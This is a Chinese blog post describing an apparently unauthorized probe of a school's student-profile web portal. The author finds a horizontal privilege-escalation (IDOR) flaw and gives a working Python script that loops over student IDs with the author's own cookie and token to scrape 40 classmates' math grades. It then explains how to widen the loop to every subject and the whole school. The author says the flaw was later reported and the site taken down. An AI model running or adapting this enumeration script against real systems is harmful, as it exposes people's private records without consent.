一次对校园网的渗透测试(水平越权可获取全年级成绩)


学校新推出了一个学生个人画像,新系统总归会有点漏洞,测试一波。

访问网址https://cloud-huaxiang.****.cn#顶级域名隐去

登录个人账号进入学生画像,抓包发现有一个组件的请求返回了考试分数

进一步观察请求 发现传递了token,cookie,学号(学号被加载在url中传递)

https://cloud-huaxiang.****.cn/#/studentPortrait?loginId=********

简单粗暴莽一波,cookie,token使用自己的,改变url中加载的学号,发现仍能访问。

说明后端只检查cookie和token是否属于学生而不检查具体是哪一个学生,存在水平越权。

用python随手写了个脚本,爬了本班40位同学的数学期中成绩。

构造headers,data,cookies之后用request.post方式获取响应,打印学号和成绩

"""
有两个地方需要改成自己的,cookies中的who和headers中的****—access—token
"""
import requests

def get(no):
    cookies = {
        'who': '****************',#cookie(人工登录自己账号后抓包或者用浏览器自带的开发者工具(fn+f12)获取)
    }

    headers = {
        'authority': 'cloud-huaxiang.****.cn',
        'accept': 'application/json, text/plain, */*',
        'fdfz-authorize-state': 'web',
        'content-type': 'application/json;charset=UTF-8',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68',
        'fdfz-access-token': '***********************************************',#token(人工登录自己账号后抓包或者用浏览器自带的开发者工具(fn+f12)获取)
        'origin': 'https://cloud-huaxiang.****.cn',
        'sec-fetch-site': 'same-origin',
        'sec-fetch-mode': 'cors',
        'sec-fetch-dest': 'empty',
        'referer': 'https://cloud-huaxiang.****.cn/',
        'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6',
    }

    json_data = {
        'lessonName': '数学',
        'loginId': no,
        'schoolYear': '2021',
        'semesterName': '第一学期',
    }
    response = requests.post('https://cloud-huaxiang.****.cn/fudan-portrait/api/portrait/getLessonAcademicTrend', cookies=cookies, headers=headers, json=json_data)
    return response
for i in range(20231001,20231041):
    print("学号:",i)
    print(get(i).text)

以此类推设置学号范围 考试 科目 可获取全校的各科成绩

 将漏洞告知学校管理人员,现在网站已停止访问

 

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值